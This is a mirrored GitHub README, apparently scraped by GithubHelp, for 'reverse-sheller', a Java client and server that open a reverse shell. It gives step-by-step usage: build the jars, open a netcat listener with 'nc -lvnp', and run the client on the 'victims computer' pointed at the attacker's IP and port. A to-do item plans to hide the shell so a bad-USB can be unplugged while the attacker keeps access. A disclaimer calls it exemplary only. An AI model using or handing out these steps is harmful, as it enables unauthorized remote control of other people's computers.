GithubHelp home page GithubHelp logo

rojberr / reverse-sheller Goto Github PK

View Code? Open in Web Editor NEW
0.0 1.0 0.0 1.01 MB

Execute this .jar to open a reverse shell on server machine. ๐Ÿ’ป

Home Page: https://drzymala.dev/

Java 91.90% HCL 7.01% Shell 1.09%
reverse-shell

reverse-sheller's Introduction

reverse-sheller

Build and execute this .jar on target machine with JDK11 or above to get a reverse shell from your host.

Reverse shell terminal picture

This repo is an example of reverse shell .jar client and server implementation.

Table of Contents

Usage ๐Ÿ’ก

  1. Build the modules using: -Unix cmd:
./gradlew build
  • or Windows cmd:
.\gradlew.bat build

You should find executable .jar's afterwards in: src/client/build/libs src/server/build/libs

  1. Open server waiting for client connection:
  • using Netcat (check if installed):
nc -lvnp <port>
  • or using the server .jar:
java -jar <filename.jar> <port>
  • f.e.:
java -jar server-sheller-0.0.1.jar 4444

From this terminal you will be able to execute reverse shell commands:

  1. Grab the client.jar from ./src/client/build/libs and execute it on the victims computer using:
java -jar <filename.jar> <IP address> <port>

f.e.:

java -jar <filename.jar> 127.0.0.1 4444

And voilร !

(Requirement: JDK8 or higher needed to be installed on victim's computer, and JAVA_HOME variable needs to be pointing to working JDK instance)

About ๐Ÿ’๐Ÿ“™

This repo is an example of reverse shell .jar client and server implementation. I redirected stdout and stdin to and from socket creating reverse shell. This repo is for exemplary usage only and shouldn't be used for a real attack (which would be still mostly limited. This implementation so far doesn't allow sudo and other advanced terminal functions. Only a simple cmd execution is provided).

It contains also a cookbook, how to build bad-usb and how to create your own listening server suing Cloud provider.

TODO ๐Ÿ“

Things that need to be done:

  1. Add IaC for server deploy
  2. Hide shell after execution, so that the bad-usb can be unplugged and the process will stay connected allowing the attacker to execute code using reverse shell.
  3. ... ...

README ending picture

Author ๐Ÿ‘ท

Drop me a line at: [email protected]

sudo ssh -i "/etc/ssh/***.pem" admin@IP -vvv export SERVER_PORT=5000 sudo apt install openjdk-11-jre-headless sudo apt-get update

reverse-sheller's People

Contributors

rojberr avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.